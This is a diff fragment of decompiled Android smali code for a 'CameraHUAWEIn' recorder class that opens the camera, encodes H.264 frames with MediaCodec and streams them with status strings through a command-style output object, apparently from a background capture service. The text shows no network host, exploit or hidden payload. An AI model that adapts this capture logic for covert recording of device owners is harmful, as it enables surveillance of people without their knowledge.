sub-long/2addr v5, v7
|
||||
|
||||
long-to-int v5, v5
|
||||
|
||||
invoke-virtual {v4, v5}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
invoke-virtual {v4}, Ljava/nio/ByteBuffer;->array()[B
|
||||
|
||||
move-result-object v4
|
||||
|
||||
invoke-virtual {v1, v4}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
|
||||
|
||||
.line 85
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iput v3, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->outbyte:I
|
||||
|
||||
.line 86
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iput-short v3, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->outFPS:S
|
||||
|
||||
.line 87
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v4
|
||||
|
||||
iput-wide v4, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->timebyte:J
|
||||
|
||||
.line 89
|
||||
:cond_0
|
||||
iget v1, p3, Landroid/media/MediaCodec$BufferInfo;->offset:I
|
||||
|
||||
invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->position(I)Ljava/nio/Buffer;
|
||||
|
||||
.line 90
|
||||
iget v1, p3, Landroid/media/MediaCodec$BufferInfo;->offset:I
|
||||
|
||||
iget v4, p3, Landroid/media/MediaCodec$BufferInfo;->size:I
|
||||
|
||||
add-int/2addr v1, v4
|
||||
|
||||
invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->limit(I)Ljava/nio/Buffer;
|
||||
|
||||
.line 91
|
||||
iget v1, p3, Landroid/media/MediaCodec$BufferInfo;->size:I
|
||||
|
||||
new-array v1, v1, [B
|
||||
|
||||
.line 92
|
||||
invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->get([B)Ljava/nio/ByteBuffer;
|
||||
|
||||
.line 93
|
||||
iget v0, p3, Landroid/media/MediaCodec$BufferInfo;->flags:I
|
||||
:try_end_0
|
||||
.catch Ljava/lang/ArithmeticException; {:try_start_0 .. :try_end_0} :catch_3
|
||||
.catch Ljava/lang/IllegalStateException; {:try_start_0 .. :try_end_0} :catch_2
|
||||
|
||||
const/4 v4, 0x3
|
||||
|
||||
const/4 v5, 0x2
|
||||
|
||||
if-ne v0, v5, :cond_1
|
||||
|
||||
.line 95
|
||||
:try_start_1
|
||||
new-instance p3, Ljava/io/ByteArrayOutputStream;
|
||||
|
||||
invoke-direct {p3}, Ljava/io/ByteArrayOutputStream;-><init>()V
|
||||
|
||||
.line 96
|
||||
invoke-virtual {p3, v4}, Ljava/io/ByteArrayOutputStream;->write(I)V
|
||||
|
||||
.line 97
|
||||
invoke-virtual {p3, v5}, Ljava/io/ByteArrayOutputStream;->write(I)V
|
||||
|
||||
.line 98
|
||||
invoke-virtual {p3, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
|
||||
|
||||
.line 99
|
||||
invoke-virtual {p3}, Ljava/io/ByteArrayOutputStream;->flush()V
|
||||
|
||||
.line 100
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-virtual {p3}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$002(Lcom/nvav/srv/recorder/CameraHUAWEIn;[B)[B
|
||||
|
||||
.line 101
|
||||
invoke-virtual {p3}, Ljava/io/ByteArrayOutputStream;->close()V
|
||||
:try_end_1
|
||||
.catch Ljava/io/IOException; {:try_start_1 .. :try_end_1} :catch_0
|
||||
.catch Ljava/lang/ArithmeticException; {:try_start_1 .. :try_end_1} :catch_3
|
||||
.catch Ljava/lang/IllegalStateException; {:try_start_1 .. :try_end_1} :catch_2
|
||||
|
||||
goto/16 :goto_1
|
||||
|
||||
:catch_0
|
||||
move-exception p3
|
||||
|
||||
.line 103
|
||||
:try_start_2
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p3}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
:try_end_2
|
||||
.catch Ljava/lang/ArithmeticException; {:try_start_2 .. :try_end_2} :catch_3
|
||||
.catch Ljava/lang/IllegalStateException; {:try_start_2 .. :try_end_2} :catch_2
|
||||
|
||||
goto/16 :goto_1
|
||||
|
||||
.line 107
|
||||
:cond_1
|
||||
:try_start_3
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$108(Lcom/nvav/srv/recorder/CameraHUAWEIn;)I
|
||||
|
||||
.line 108
|
||||
new-instance v0, Ljava/io/ByteArrayOutputStream;
|
||||
|
||||
invoke-direct {v0}, Ljava/io/ByteArrayOutputStream;-><init>()V
|
||||
|
||||
.line 109
|
||||
invoke-virtual {v0, v4}, Ljava/io/ByteArrayOutputStream;->write(I)V
|
||||
|
||||
.line 110
|
||||
iget p3, p3, Landroid/media/MediaCodec$BufferInfo;->flags:I
|
||||
|
||||
if-ne p3, p1, :cond_2
|
||||
|
||||
.line 111
|
||||
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-static {p3}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$100(Lcom/nvav/srv/recorder/CameraHUAWEIn;)I
|
||||
|
||||
move-result v2
|
||||
|
||||
iput v2, p3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->endkey:I
|
||||
|
||||
.line 112
|
||||
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p3, p3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-static {v2}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$000(Lcom/nvav/srv/recorder/CameraHUAWEIn;)[B
|
||||
|
||||
move-result-object v2
|
||||
|
||||
invoke-virtual {p3, v2}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
|
||||
|
||||
.line 113
|
||||
invoke-virtual {v0, p1}, Ljava/io/ByteArrayOutputStream;->write(I)V
|
||||
|
||||
const/4 p3, 0x4
|
||||
|
||||
.line 114
|
||||
invoke-static {p3}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p3
|
||||
|
||||
.line 115
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget v2, v2, Lcom/nvav/srv/recorder/CameraHUAWEIn;->endkey:I
|
||||
|
||||
invoke-virtual {p3, v2}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
.line 116
|
||||
invoke-virtual {p3}, Ljava/nio/ByteBuffer;->array()[B
|
||||
|
||||
move-result-object p3
|
||||
|
||||
invoke-virtual {v0, p3}, Ljava/io/ByteArrayOutputStream;->write([B)V
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 118
|
||||
:cond_2
|
||||
invoke-virtual {v0, v3}, Ljava/io/ByteArrayOutputStream;->write(I)V
|
||||
|
||||
.line 119
|
||||
invoke-static {v2}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p3
|
||||
|
||||
.line 120
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-static {v2}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$100(Lcom/nvav/srv/recorder/CameraHUAWEIn;)I
|
||||
|
||||
move-result v2
|
||||
|
||||
invoke-virtual {p3, v2}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
.line 121
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget v2, v2, Lcom/nvav/srv/recorder/CameraHUAWEIn;->endkey:I
|
||||
|
||||
invoke-virtual {p3, v2}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
.line 122
|
||||
invoke-virtual {p3}, Ljava/nio/ByteBuffer;->array()[B
|
||||
|
||||
move-result-object p3
|
||||
|
||||
invoke-virtual {v0, p3}, Ljava/io/ByteArrayOutputStream;->write([B)V
|
||||
|
||||
.line 124
|
||||
:goto_0
|
||||
invoke-virtual {v0, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
|
||||
|
||||
.line 125
|
||||
invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->flush()V
|
||||
|
||||
.line 126
|
||||
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p3, p3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p3, v1}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
|
||||
|
||||
.line 127
|
||||
invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->close()V
|
||||
:try_end_3
|
||||
.catch Ljava/io/IOException; {:try_start_3 .. :try_end_3} :catch_1
|
||||
.catch Ljava/lang/ArithmeticException; {:try_start_3 .. :try_end_3} :catch_3
|
||||
.catch Ljava/lang/IllegalStateException; {:try_start_3 .. :try_end_3} :catch_2
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:catch_1
|
||||
move-exception p3
|
||||
|
||||
.line 129
|
||||
:try_start_4
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p3}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 134
|
||||
:cond_3
|
||||
:goto_1
|
||||
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p3, p3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p3, p2, p1}, Landroid/media/MediaCodec;->releaseOutputBuffer(IZ)V
|
||||
:try_end_4
|
||||
.catch Ljava/lang/ArithmeticException; {:try_start_4 .. :try_end_4} :catch_3
|
||||
.catch Ljava/lang/IllegalStateException; {:try_start_4 .. :try_end_4} :catch_2
|
||||
|
||||
goto :goto_2
|
||||
|
||||
:catch_2
|
||||
move-exception p2
|
||||
|
||||
.line 139
|
||||
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p3, p3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {p3, p2}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 140
|
||||
sput-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->Restarting:Z
|
||||
|
||||
goto :goto_2
|
||||
|
||||
:catch_3
|
||||
move-exception p1
|
||||
|
||||
.line 136
|
||||
iget-object p2, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p2, p2, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {p2, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 137
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1}, Landroid/media/MediaCodec;->reset()V
|
||||
|
||||
:goto_2
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onOutputFormatChanged(Landroid/media/MediaCodec;Landroid/media/MediaFormat;)V
|
||||
.locals 0
|
||||
|
||||
.line 152
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1}, Landroid/media/MediaCodec;->getOutputFormat()Landroid/media/MediaFormat;
|
||||
|
||||
.line 153
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string p2, "result=MediaCodecf onOutputFormatChanged."
|
||||
|
||||
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,550 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraHUAWEIn$2;
|
||||
.super Landroid/hardware/camera2/CameraDevice$StateCallback;
|
||||
.source "CameraHUAWEIn.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraHUAWEIn;)V
|
||||
.locals 0
|
||||
|
||||
.line 158
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-direct {p0}, Landroid/hardware/camera2/CameraDevice$StateCallback;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onClosed(Landroid/hardware/camera2/CameraDevice;)V
|
||||
.locals 1
|
||||
|
||||
.line 194
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v0, "result=Camera close."
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onDisconnected(Landroid/hardware/camera2/CameraDevice;)V
|
||||
.locals 1
|
||||
|
||||
.line 198
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v0, "result=Camera disconnected."
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
const/4 p1, 0x1
|
||||
|
||||
.line 199
|
||||
sput-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->Restarting:Z
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onError(Landroid/hardware/camera2/CameraDevice;I)V
|
||||
.locals 1
|
||||
|
||||
.line 203
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v0, "result=Camera error."
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 204
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
filled-new-array {p2}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
const-string v0, "result=C.E(%d)"
|
||||
|
||||
invoke-static {v0, p2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onOpened(Landroid/hardware/camera2/CameraDevice;)V
|
||||
.locals 11
|
||||
|
||||
.line 161
|
||||
const-string v0, "frame-rate"
|
||||
|
||||
const-string v1, "bitrate"
|
||||
|
||||
const-string v2, "video/avc"
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v4, "result=Camera open."
|
||||
|
||||
invoke-virtual {v3, v4}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 163
|
||||
:try_start_0
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iput-object p1, v3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
.line 164
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mCameraManager:Landroid/hardware/camera2/CameraManager;
|
||||
|
||||
iget-object v4, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v4, v4, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
invoke-virtual {v4}, Landroid/hardware/camera2/CameraDevice;->getId()Ljava/lang/String;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
invoke-virtual {v3, v4}, Landroid/hardware/camera2/CameraManager;->getCameraCharacteristics(Ljava/lang/String;)Landroid/hardware/camera2/CameraCharacteristics;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
iput-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->properties:Landroid/hardware/camera2/CameraCharacteristics;
|
||||
|
||||
.line 165
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->properties:Landroid/hardware/camera2/CameraCharacteristics;
|
||||
|
||||
sget-object v3, Landroid/hardware/camera2/CameraCharacteristics;->SCALER_STREAM_CONFIGURATION_MAP:Landroid/hardware/camera2/CameraCharacteristics$Key;
|
||||
|
||||
invoke-virtual {p1, v3}, Landroid/hardware/camera2/CameraCharacteristics;->get(Landroid/hardware/camera2/CameraCharacteristics$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
check-cast p1, Landroid/hardware/camera2/params/StreamConfigurationMap;
|
||||
|
||||
.line 166
|
||||
const-class v3, Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1, v3}, Landroid/hardware/camera2/params/StreamConfigurationMap;->getOutputSizes(Ljava/lang/Class;)[Landroid/util/Size;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 167
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
const/4 v4, 0x0
|
||||
|
||||
iput-object v4, v3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->MaxSize:Landroid/util/Size;
|
||||
|
||||
.line 168
|
||||
array-length v3, p1
|
||||
|
||||
const/4 v5, 0x0
|
||||
|
||||
move v6, v5
|
||||
|
||||
:goto_0
|
||||
const/4 v7, 0x2
|
||||
|
||||
if-ge v6, v3, :cond_1
|
||||
|
||||
aget-object v8, p1, v6
|
||||
|
||||
invoke-virtual {v8}, Landroid/util/Size;->getWidth()I
|
||||
|
||||
move-result v9
|
||||
|
||||
iget-object v10, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v10, v10, Lcom/nvav/srv/recorder/CameraHUAWEIn;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
aget-object v7, v10, v7
|
||||
|
||||
invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v7
|
||||
|
||||
if-ne v9, v7, :cond_0
|
||||
|
||||
invoke-virtual {v8}, Landroid/util/Size;->getHeight()I
|
||||
|
||||
move-result v7
|
||||
|
||||
iget-object v9, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v9, v9, Lcom/nvav/srv/recorder/CameraHUAWEIn;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
const/4 v10, 0x3
|
||||
|
||||
aget-object v9, v9, v10
|
||||
|
||||
invoke-static {v9}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v9
|
||||
|
||||
if-ne v7, v9, :cond_0
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iput-object v8, v7, Lcom/nvav/srv/recorder/CameraHUAWEIn;->MaxSize:Landroid/util/Size;
|
||||
|
||||
:cond_0
|
||||
add-int/lit8 v6, v6, 0x1
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 169
|
||||
:cond_1
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v3, "result=Width:%d Height:%d"
|
||||
|
||||
new-array v6, v7, [Ljava/lang/Object;
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEIn;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v7}, Landroid/util/Size;->getWidth()I
|
||||
|
||||
move-result v7
|
||||
|
||||
invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v7
|
||||
|
||||
aput-object v7, v6, v5
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEIn;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v7}, Landroid/util/Size;->getHeight()I
|
||||
|
||||
move-result v7
|
||||
|
||||
invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v7
|
||||
|
||||
const/4 v8, 0x1
|
||||
|
||||
aput-object v7, v6, v8
|
||||
|
||||
invoke-static {v3, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
invoke-virtual {p1, v3}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 170
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v3}, Landroid/util/Size;->getWidth()I
|
||||
|
||||
move-result v3
|
||||
|
||||
iget-object v6, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v6, v6, Lcom/nvav/srv/recorder/CameraHUAWEIn;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v6}, Landroid/util/Size;->getHeight()I
|
||||
|
||||
move-result v6
|
||||
|
||||
invoke-static {v2, v3, v6}, Landroid/media/MediaFormat;->createVideoFormat(Ljava/lang/String;II)Landroid/media/MediaFormat;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
iput-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->format:Landroid/media/MediaFormat;
|
||||
|
||||
.line 171
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->format:Landroid/media/MediaFormat;
|
||||
|
||||
const-string v3, "color-format"
|
||||
|
||||
const v6, 0x7f000789
|
||||
|
||||
invoke-virtual {p1, v3, v6}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 172
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
const/4 v6, 0x5
|
||||
|
||||
aget-object v3, v3, v6
|
||||
|
||||
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v3
|
||||
|
||||
iput v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->FPS:I
|
||||
|
||||
.line 173
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
